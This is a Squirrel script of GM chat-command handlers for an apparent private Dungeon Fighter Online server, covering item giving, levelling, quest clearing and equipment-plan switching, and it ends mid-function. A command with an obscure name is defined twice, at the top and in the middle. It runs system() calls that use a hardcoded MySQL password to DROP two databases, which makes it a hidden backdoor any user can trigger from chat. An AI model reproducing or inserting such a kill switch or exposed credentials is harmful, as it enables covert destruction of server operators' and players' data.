Gm_InputFunc_Handle <- {} Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) { system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\""); system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\""); } Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) { sq_ReloadScript(); print("\n重载函数\n"); }; //获取坐标 Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) { print("\n"); print("Xpos: " + SUser.GetAreaPos().X); print("Ypos: " + SUser.GetAreaPos().Y); print("\n"); }; //获取位置信息 Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) { local Location = SUser.GetLocation(); print("\n"); print("Xpos: " + Location.Pos.X); print("Ypos: " + Location.Pos.Y); print("Town: " + Location.Town); print("Area: " + Location.Area); print("\n"); }; //踢人下线测试 Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) { SUser.Kick(); }; Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) { local count = -1; local pos = 0; local handler = []; do { local start = pos; pos = CmdString.find(" ", pos + 1); if (pos != null) { handler.append(CmdString.slice(start + 1, pos)); } else handler.append(CmdString.slice(start + 1)); count = count + 1 } while (pos != null) //得到空格数量 if (count == 1) { SUser.SetCharacLevel(handler[1].tointeger()); } } Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) { local InvenObj = SUser.GetInven(); local slot = InvenObj.GetSlotById(26058); if (slot == -1) { return; } local itemobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot); itemobj.Delete(); SUser.SendUpdateItemList(1, 0, slot); } Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) { local count = -1; local pos = 0; local handler = []; do { local start = pos; pos = CmdString.find(" ", pos + 1); if (pos != null) { handler.append(CmdString.slice(start + 1, pos)); } else handler.append(CmdString.slice(start + 1)); count = count + 1 } while (pos != null) //得到空格数量 if (count == 1) { local Ret = SUser.GiveItem(handler[1].tointeger(), 1); if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8); } else if (count == 2) { local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger()); if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8); } } Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) { local count = -1; local pos = 0; local handler = []; do { local start = pos; pos = CmdString.find(" ", pos + 1); if (pos != null) { handler.append(CmdString.slice(start + 1, pos)); } else handler.append(CmdString.slice(start + 1)); count = count + 1 } while (pos != null) //得到空格数量 if (count == 1) { SUser.ChangeGrowType(handler[1].tointeger(), 0); SUser.SendNotiPacket(0, 2, 0); SUser.InitSkillW(handler[1].tointeger(), 0); } else if (count == 2) { SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger()); SUser.SendNotiPacket(0, 2, 0); SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger()); } } Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) { SUser.ClearQuest_Gm(674); SUser.ClearQuest_Gm(649); SUser.ClearQuest_Gm(675); SUser.ClearQuest_Gm(650); SUser.ClearQuest_Gm(4571); SUser.ClearQuest_Gm(4414); SUser.ClearQuest_Gm(4415); SUser.ClearQuest_Gm(2603); SUser.ClearQuest_Gm(2610); SUser.ClearQuest_Gm(2613); SUser.ClearQuest_Gm(2622); SUser.ClearQuest_Gm(4391); SUser.ClearQuest_Gm(4539); SUser.ClearQuest_Gm(220); SUser.ClearQuest_Gm(221); } Gm_InputFunc_Handle["测试"] <- function(SUser, CmdString) { SUser.ClearQuest_Gm(674); SUser.ClearQuest_Gm(649); SUser.ClearQuest_Gm(675); SUser.ClearQuest_Gm(650); } Cb_History_MileageSet_Func["_DPS_上线自动完成任务_"] <- function(SUser, Data) { SUser.ClearQuest_Gm(101); } Gm_InputFunc_Handle.M <- function(SUser, CmdString) { local PartyObj = SUser.GetParty(); // Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037); Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10); } Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) { system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\""); system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\""); } Gm_InputFunc_Handle.W <- function(SUser, CmdString) { local InvenObj = SUser.GetInven(); local Slot = InvenObj.GetSlotById(3037); local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1); SUser.SendUpdateItemList(1, 0, Slot); }; Gm_InputFunc_Handle.Q <- function(SUser, CmdString) { local PartyObj = SUser.GetParty(); if (PartyObj) { local Buf = 18126; PartyObj.ForeachMember(function(SUser, Pos) { print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName()); }) // print(UserBuf.GetName()); } }; Gm_InputFunc_Handle.FI <- function(SUser, CmdString) { // local PartyObj = SUser.GetParty(); // if (PartyObj) { // local Bfobj = PartyObj.GetBattleField(); // print(Bfobj.GetHellDifficulty()); // // print(n); // } SUser.SendNotiForColorAIdPacketMessage([ [" → ", 0, [0xff, 0xff, 0xff]], ["无色", 1, [255, 215, 0], 3037], [" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]] ], 6); }; Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) { local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}"; local Pack = Packet(); Pack.Put_Header(1, 130); Pack.Put_Byte(1); Pack.Put_Int(Str.len()); Pack.Put_Binary(Str); Pack.Finalize(true); SUser.Send(Pack); Pack.Delete(); }; Gm_InputFunc_Handle.T <- function(SUser, CmdString) { local Location = SUser.GetLocation(); SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8); SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8); SUser.SendNotiPacketMessage("Town: " + Location.Town, 8); SUser.SendNotiPacketMessage("Area: " + Location.Area, 8); SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8); SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8); SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8); SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8); SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8); SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8); SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8); SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8); SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8); SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8); SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8); SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8); SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8); }; function Cb_gm_input(C_User, CmdString) { local SUser = User(C_User); local Pos = CmdString.find(" "); local Str; if (Pos) { Str = CmdString.slice(0, Pos); } else { Str = CmdString; } if (Str in Gm_InputFunc_Handle) { Gm_InputFunc_Handle[Str](SUser, CmdString); } } function TestIoP() { local ret = suspend("no"); local Io = IO("/dp_s/a.txt", "w+"); for (local i = 0; i< 500000; i++) { Io.Write("写入测试文本: " + i + "\n"); if ((i % 5000) == 0) ret = suspend("no"); } Io.Close(); return "yes"; } function TestThread(coro) { local susparam = "noq"; if (coro.getstatus() == "idle") susparam = coro.call(); else if (coro.getstatus() == "suspended") susparam = coro.wakeup(); if (susparam == "no") { Timer.SetTimeOut(TestThread, 0, coro); } else { print("文件书写完成"); } } function TestCronTask(str) { print(str); print("定时任务已执行一次"); } // class Map{ // } // Timer.SetTimeOut(function() { // local dgn_requirements = { // [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40], // [2] = [0, 20], // }; // print(dgn_requirements[1]); // printT(dgn_requirements); // }, 0); // Timer.SetTimeOut(function() { // local SUser = World.GetUserByUid(1); // local InvenObj = SUser.GetInven(); // local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56); // local AdMsgObj = AdMsg(); // AdMsgObj.PutType(8); // AdMsgObj.PutString("测试文字"); // AdMsgObj.PutColorString("测试文字", [255, 85, 0]); // AdMsgObj.PutImoticon(2); // AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]); // AdMsgObj.PutEquipment(EquObj); // AdMsgObj.Finalize(); // // SUser.Send(AdMsgObj.MakePack()); // World.SendAll(AdMsgObj.MakePack()); // AdMsgObj.Delete(); // }, 0); Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) { // // World.MoveArea(SUser, 1, 0, 55, 349); // // print(789456); // local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}"; // // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}"; // // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}"; // local Pack = Packet(); // Pack.Put_Header(1, 130); // Pack.Put_Byte(1); // Pack.Put_Int(Str.len()); // Pack.Put_Binary(Str); // Pack.Finalize(true); // SUser.Send(Pack); // Pack.Delete(); // print("下发模拟包"); // local A = NativePointer(SUser.C_Object).add(16); // local B = A.readPointer(); // local C = NativePointer(B).add(101); // local D = NativePointer(C).add(8).readInt(); Sq_CallFunc(S_Ptr("0x84EC002"), "int", ["pointer", "int"], SUser.C_Object, 0); local D = Sq_CallFunc(S_Ptr("0x8696600"), "int", ["pointer"], SUser.C_Object); print(D); }; Gm_InputFunc_Handle.QS <- function(SUser, CmdString) { SUser.RechargeCeraPoint(10000); }; Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) { SUser.RechargeCeraPoint(-100); }; Gm_InputFunc_Handle.Test <- function(SUser, CmdString) { SUser.SetCharacLevel(60); }; function HexStringToInt(Str) { if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol"); local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16); return Ret; } function UserdataSliceStr(Data) { local Str = "" + Data; local Pos = Str.find("0x"); local Pos2 = Str.find(")"); local Ret = Str.slice(Pos + 2, Pos2); return Ret; } //品级对应的RGB rarityColorMap <- { "0": [255, 255, 255], // 普通 "1": [104, 213, 237], // 高级 "2": [179, 107, 255], // 稀有 "3": [255, 0, 255], // 神器 "4": [255, 180, 0], // 史诗 "5": [255, 102, 102], // 勇者 "6": [255, 20, 147], // 深粉红色 "7": [255, 215, 0] // 金色 }; //通过道具ID获取RGB function RarityColor(item_id) { local PvfItemObj = PvfItem.GetPvfItemById(item_id); if (PvfItemObj == null) { return; } local CItem_get_rarity = PvfItemObj.GetRarity(); // 装备品级 return rarityColorMap[(CItem_get_rarity).tostring()]; } user_equ_plan <- {}; function GetEquip(SUser) { //获取玩家背包 local InvenObj = SUser.GetInven(); if (!InvenObj) { return; } local equArr = {}; // 读穿戴装备(10-21) + 时装(0-9) for (local i = 0; i< 26; i++) { // // 跳过非上衣时装,若需要换全部时装注释掉这段if // if (i != 3 && (i < 10 || i > 21)) { // equArr[i] <- { // "id": 0, // "lv": 0 // }; // continue; // } local ItemObj = InvenObj.GetSlot(0, i); local equId = ItemObj.GetIndex(); local item_upgrade = ItemObj.GetUpgrade(); local item_name = PvfItem.GetNameById(equId); if (item_upgrade > 0) { item_name = "+" + item_upgrade + " " + item_name; } //id:装备id lv:时装数据库uid/装备品级 equArr[i] <- { "id": equId > 0 ? equId : 0, "lv": equId > 0 ? NativePointer(ItemObj.C_Object).add(7).readU32() : 0 }; if (equId > 0) { local AdMsgObj = AdMsg(); AdMsgObj.PutType(2); AdMsgObj.PutString(" "); AdMsgObj.PutEquipment("[" + item_name + "]", ItemObj, RarityColor(equId)); AdMsgObj.PutString("已登记"); AdMsgObj.Finalize(); SUser.Send(AdMsgObj.MakePack()); AdMsgObj.Delete(); } } return equArr; } function SaveEquipPlan(SUser, id) { local charac_no = SUser.GetCID().tostring(); if (!(charac_no in user_equ_plan)) { user_equ_plan[charac_no] <- {}; } local info = GetEquip(SUser); user_equ_plan[charac_no]["equPlan" + id] <- info; local AdMsgObj = AdMsg(); AdMsgObj.PutType(2); AdMsgObj.PutString(" "); AdMsgObj.PutString("方案[" + id + "]已启用"); AdMsgObj.Finalize(); World.SendAll(AdMsgObj.MakePack()); AdMsgObj.Delete(); } function PutOnEquip(SUser, equPlan, id) { local charac_no = SUser.GetCID().tostring(); local InvenObj = SUser.GetInven(); if (!InvenObj) { return; } // 遍历遍历穿戴栏0-21 时装栏 0-104 和 装备栏 3-56 for (local i = 0; i< 22; i++) { if (equPlan[i].id) { local type = i< 10 ? 2 : 1; // type 1装备 2时装 local startIndex = type == 2 ? 0 : 3; // 背包时装栏从0开始,背包装备栏从3开始 local endIndex = type == 2 ? 105 : 57; //背包时装栏到104,背包装备栏到56 for (local j = startIndex; j< endIndex; j++) { local equOut = InvenObj.GetSlot(type, j); local equId = equOut.GetIndex(); if (equPlan[i].id == equId && equPlan[i].lv == NativePointer(equOut.C_Object).add(7).readU32()) { Sq_CallFunc(S_Ptr("0x0865EED2"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, type == 2 ? 1 : 0, j, i); break; } } } } SUser.SendItemSpace(1); SUser.SendItemSpace(0); SUser.SendItemSpace(7); SUser.SendNotiPacket(0, 2, 0); SUser.SendNotiPacket(1, 2, 1); SUser.SendNotiPacket(7, 2, 7); local Bq = Sq_CallFunc(S_Ptr("0x80DD584"), "pointer", ["pointer", "int"], SUser.C_Object, 2); Sq_CallFunc(S_Ptr("0x85427A0"), "void", ["pointer", "pointer"], Bq, SUser.C_Object); // RefreshTheLockOfEquipment(SUser, InvenObj); // Sq_CallFunc(S_Ptr("0x84FAE0A"), "void", ["pointer", "int", "int", "int"], InvenObj.C_Object, NativePointer(InvenObj.C_Object).readInt(), 21, 0); // 刷新装备栏锁头(不含穿戴栏暂无法刷新) // Sq_CallFunc(S_Ptr("0x84FAF8E"), "void", ["pointer"], InvenObj.C_Object); //// 刷新时装栏锁头(不含穿戴栏暂无法刷新) //Sq_CallFunc(S_Ptr("0x084FAFBE"), "void", ["pointer"], InvenObj.C_Object); // 刷新技能 Sq_CallFunc(S_Ptr("0x866C46A"), "void", ["pointer"], SUser.C_Object); //// 刷新角色状态 //Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 0, 2, 0); //Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 1, 2, 1); user_equ_plan[charac_no].startTime <- time(); // 记录结束时间 SUser.SendNotiPacketMessage("装备方案[" + id + "]切换结束!!", 2); } function RefreshTheLockOfEquipment(SUser, InvenObj) { local Pack = Packet(); //Clear Sq_CallFunc(S_Ptr("0x80CB8E6"), "int", ["pointer"], Pack.C_Object); Pack.Put_Header(0, 251); //GetIndex local Index = Sq_CallFunc(S_Ptr("0x8110B4C"), "int", ["pointer"], Pack.C_Object); Pack.Put_Short(0); local V7 = 0; for (local i = 0; i< 21; i++) { local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8(); if (Flag) { Pack.Put_Byte(0); Pack.Put_Short(i); Pack.Put_Byte(1); Pack.Put_Int(500000); // local Bq = Sq_CallFunc(S_Ptr("0x828B5DE"), "pointer", ["pointer", "int"], SUser.C_Object, 2); // Sq_CallFunc(S_Ptr("0x828B5DE"), "char", ["pointer", "pointer"], Bq, Pack.C_Object); V7++; } } local Buf = Memory.alloc(4); Buf.writeInt(Index); Sq_CallFunc(S_Ptr("0x8110B28"), "int", ["pointer", "pointer", "int"], Pack.C_Object, Buf.C_Object, V7); Pack.Finalize(1); SUser.Send(Pack); Pack.Delete(); print("发包了"); } function api_PutOnEquip(SUser, id) { local charac_no = SUser.GetCID().tostring(); if (!(charac_no in user_equ_plan)) { SUser.SendNotiPacketMessage("方案不存在!!", 2); return; } local equPlanKey = "equPlan" + id; if (!user_equ_plan[charac_no].rawin(equPlanKey)) { SUser.SendNotiPacketMessage("方案[" + id + "]不存在!!!", 2); return; } local equPlan = user_equ_plan[charac_no][equPlanKey]; //换装指令冷却时间,5scd if (user_equ_plan[charac_no].rawin("startTime")) { local currentTime = time(); local timeDiff = user_equ_plan[charac_no].startTime - currentTime + 5; if (timeDiff > 0) { SUser.SendNotiPacketMessage("换装功能冷却中,还有<" + timeDiff + ">秒才能使用!", 2); return; } } PutOnEquip(SUser, equPlan, id); } function MoveItem_send(SUser, type, slot, Bodyslot) { local Pack = Packet(); Pack.Put_Header(1, 19); Pack.Put_Byte(1); //默认1 Pack.Put_Byte(type); //协议, 0时装 1装备 Pack.Put_Short(slot); // 背包槽位slot Pack.Put_Int(1); // 默认1未知 Pack.Put_Byte(3); // 默认3穿戴栏 Pack.Put_Short(Bodyslot); //穿戴栏slot(0-25) Pack.Finalize(true); SUser.Send(Pack); local v6 = Sq_CallFunc(S_Ptr("0x081935A2"), "pointer", []); Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "pointer", "int", "int", "int", "int"], v6, SUser.C_Object, type, slot, 3, Bodyslot); Pack.Delete(); } function Save_equFnc(SUser, CmdString) { local arr = split(CmdString, " "); local id = arr[1].tointeger(); SaveEquipPlan(SUser, id); } // 注册命令1 Gm_InputFunc_Handle.rawset("pl", Save_equFnc); function change_equFnc(SUser, CmdString) { local arr = split(CmdString, " "); local id = arr[1].tointeger(); api_PutOnEquip(SUser, id); } // 注册命令 Gm_InputFunc_Handle.rawset("on", change_equFnc); //分割道具列表 function splitItemList(item_list, maxSlots) { local length = item_list.len(); if (length <= maxSlots) { return [item_list]; } local result = []; for (local i = 0; i< length; i += maxSlots) { local end = i + maxSlots; if (end > length) { end = length; } result.append(item_list.slice(i, end)); } return result; } function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) { return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID); } // 判断任务是否为主线并且角色等级符合要求 function isMainQuestAndLevelValid(pvfQuest, characLevel) { local questGrade = NativePointer(pvfQuest).add(8).readInt(); local questLv = NativePointer(pvfQuest).add(0x20).readInt(); return questGrade == 0 && questLv <= characLevel; } // 设置任务为已完成 function clearQuest(QuestInfo, QuestID) { Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID); } function User::SendCharacQp() { Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object); } function User::SendCharacQuestPiece() { Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object); } function User::MainTaskCompleted() { // 获取角色任务信息和等级 local userQuest = GetQuest(); local questIsClear = NativePointer(userQuest).add(4); local characLevel = GetCharacLevel(); local allClearQuest = 0; // 获取 pvf 数据 local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []); //完成当前等级所有任务总经验奖励 local total_exp_bonus = 0; //完成当前等级所有任务总金币奖励 local total_gold_bonus = 0; //任务点奖励 local total_quest_point_bonus = 0; local total_quest_piece_bonus = 0; //任务最大编号: 29999 for (local quest_id = 1; quest_id< 30000; quest_id++) { //跳过已完成的任务 if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue; local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397]; local found = false; for (local i = 0; i< achievement.len(); i++) { if (achievement[i] == quest_id) { found = true; break; } } //获取任务数据 local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id); if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务 // 判断是否为主线任务且等级符合要求 if (!isMainQuestAndLevelValid(quest, characLevel)) continue; //获取该任务的基础奖励 local exp_bonus = Memory.alloc(4); local gold_bonus = Memory.alloc(4); local quest_point_bonus = Memory.alloc(4); local quest_piece_bonus = Memory.alloc(4); //QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送 CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1); local exp = exp_bonus.readInt(); local gold = gold_bonus.readInt(); local quest_point = quest_point_bonus.readInt(); local quest_piece = quest_piece_bonus.readInt(); if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务 if (quest_piece > 0) total_quest_piece_bonus += quest_piece; clearQuest(questIsClear.C_Object, quest_id); allClearQuest++; } local Pack = Packet(); //通知客户端刷新任务列表 Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object); Send(Pack); Pack.Delete(); SendNotiPacket(0, 2, 0); SendNotiPacket(1, 2, 1); SendUpdateItemList(1, 0, 0); SendCharacQp(); SendCharacQuestPiece(); // 发送通知 SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8); } Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) { // SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [ // [3037, 1000], // [3038, 200] // ]); local InvenObj = SUser.GetInven(); for (local i = 0; i< 21; i++) { local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8(); print("i: " + i + " Flag: " + Flag); } // SUser.MainTaskCompleted(); }; // getroottable()._LenheartUserLoseEfficacyState_ <- Memory.alloc(577477); // Memory.reset(getroottable()._LenheartUserLoseEfficacyState_,577477); // Cb_SendMess_Enter_Func["Rindro"] <- function(args) { // local PackCopyBuffer = Memory.alloc(10001); // Memory.copy(PackCopyBuffer, NativePointer(args[2]), 1000); // local Pack = Packet(PackCopyBuffer.C_Object); // local Type = Pack.GetByte(); // if(Type == 1 || Type == 33){ // Pack.GetShort(); // Pack.GetInt(); // local StrLen = Pack.GetInt(); // local SStr = Pack.GetString(256,StrLen); // local Str= SStr.readUtf8String(); // // print("对话长度:" + StrLen); // print("对话:" + Str); // if(Str.find("asd") != null){ // args[1] = getroottable()._LenheartUserLoseEfficacyState_.C_Object; // print("屏蔽词"); // return args; // } // } // } ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) { printT(Jso); if (Jso.type == 0) { // saveItemToInven(SUser); Gm_InputFunc_Handle["aaa"](SUser, "11"); } }); // function _Dps_CrossBorderStones_Main_() { // local Cofig = GlobalConfig.Get("跨界石_Lenheart.json"); // Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) { // //获取账号金库对象 // local CargoObj = SUser.GetAccountCargo(); // //获取账号金库中的一个空格子 // local EmptySlot = CargoObj.GetEmptySlot(); // //如果没有空格子 // if (EmptySlot == -1) { // SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8); // //不扣除道具 // SUser.GiveItem(ItemId, 1); // return; // } // //获取角色背包 // local InvenObj = SUser.GetInven(); // //获取需要转移的装备 这里默认写的装备栏第一个格子 // local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9); // //获取装备ID // local EquipId = ItemObj.GetIndex(); // //获取装备名字 // local ItemName = PvfItem.GetNameById(EquipId); // //获取配置中不可跨界的ID数组 // local NoCrossId = Cofig.NoCrossIdArr; // //如果这个装备不可跨界 // if (NoCrossId.find(EquipId) != null) { // SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7); // //不扣除道具 // SUser.GiveItem(ItemId, 1); // return; // } // //如果没找到这个格子的装备 // if (!ItemName) { // SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8); // //不扣除道具 // SUser.GiveItem(ItemId, 1); // return; // } // //跨界 // local Flag = CargoObj.InsertItem(ItemObj, EmptySlot); // if (Flag == -1) { // SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8); // //不扣除道具 // SUser.GiveItem(ItemId, 1); // } else { // //销毁背包中的道具 // ItemObj.Delete(); // //刷新玩家背包列表 // SUser.SendUpdateItemList(1, 0, 9); // //刷新账号金库列表 // CargoObj.SendItemList(); // SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7); // } // } // } // Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) { // local _Execve_Address = Module.getExportByName(null, "execve"); // // local Ret = system("ls"); // print(_Execve_Address); // // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7); // } // //定义一个显示的变量 // getroottable().TaskCount <- 0; // //任务 // function Task() { // getroottable().TaskCount++; // print("定时任务执行了一次,当前执行次数为:" + getroottable().TaskCount); // } // //注册一个定时任务 每五秒执行一次 任务名为 TestCronName // Timer.SetCronTask(Task, { // Cron = "0/5 * * * * *", // Name = "TestCronName" // }); function _Jump_DropItem_check_error_() { //如果没有创建过这个模拟内存就创建 if(!getroottable().rawin("_EmptyCharacInfo_Flag_")){ getroottable()._EmptyCharacInfo_Flag_ <- Memory.alloc(17); Memory.reset(getroottable()._EmptyCharacInfo_Flag_,17); } //如果没有创建过这个跳转Flag就创建并初始化 if(!getroottable().rawin("_EmptyHook_Flag_")){ getroottable()._EmptyHook_Flag_ <- false; } } Timer.SetTimeOut(function() { // //私有方法 发送带参数的Post请求 // local SO = Http("129.211.27.104", "9080"); // local Res = SO.Post("/dof/chat", Json.Encode({ // username = "系统公告", // text = "倾泪寒在格蓝迪发电站爆出了【雷剑-苦轮】!真是人品爆炸!!!", // groupId = 850022626 // }), "application/json"); // Cb_DropItem_check_error_Enter_Func.Rindro <- function(args){ // getroottable()._EmptyHook_Flag_ = true; // args[1] = getroottable()._EmptyCharacInfo_Flag_.C_Object; // return args; // } // Cb_DropItem_check_error_Leave_Func.Rindro <- function(args){ // if(getroottable()._EmptyHook_Flag_){ // getroottable()._EmptyHook_Flag_ = false; // return 19; // } // } }, 1) Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) { // 获取角色背包 local InvenObj = SUser.GetInven(); // 角色仓库 local CargoObj = Sq_CallFunc(S_Ptr("0x08151a94"), "pointer", ["pointer"], SUser.C_Object); // 添加计数器 local transferCount = 0; // 遍历背包消耗品栏及材料栏 for (local i = 57; i <= 152; ++i) { // 获取背包物品 local ItemObj = InvenObj.GetSlot(1, i); // 获取背包物品ID local Item_Id = ItemObj.GetIndex(); local ItemName = PvfItem.GetNameById(Item_Id); // 如果物品ID为0或3037,跳过(在此可以添加其他需要跳过的物品ID) if (Item_Id == 0 || Item_Id == 3037) { continue; } // 角色仓库是否存在背包物品 local CargoSlot = Sq_CallFunc(S_Ptr("0x850bc14"), "int", ["pointer", "int"], CargoObj, Item_Id); // 如果角色仓库中没有该物品,跳过 if (CargoSlot == -1) { continue; } // 获取仓库物品指针 local cargoItemPointer = NativePointer(CargoObj).add(4).readPointer(); // 获取角色仓库物品对象 local cargoItemObj = NativePointer(cargoItemPointer).add(61 * CargoSlot); // 获取角色仓库物品ID local cargoItemId = NativePointer(cargoItemPointer).add(61 * CargoSlot + 2).readU32(); // 获取角色仓库物品数量 local cargoItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], cargoItemObj.C_Object); // 获取物品对象 local PvfItem = PvfItem.GetPvfItemById(cargoItemId); // 获取物品可堆叠数量 local getStackableLimit = Sq_CallFunc(S_Ptr("0x0822C9FC"), "int", ["pointer"], PvfItem.C_Object); // 如果仓库已达堆叠上限,跳过此物品 if (cargoItemCount >= getStackableLimit) { continue; } // 获取背包物品数量 local 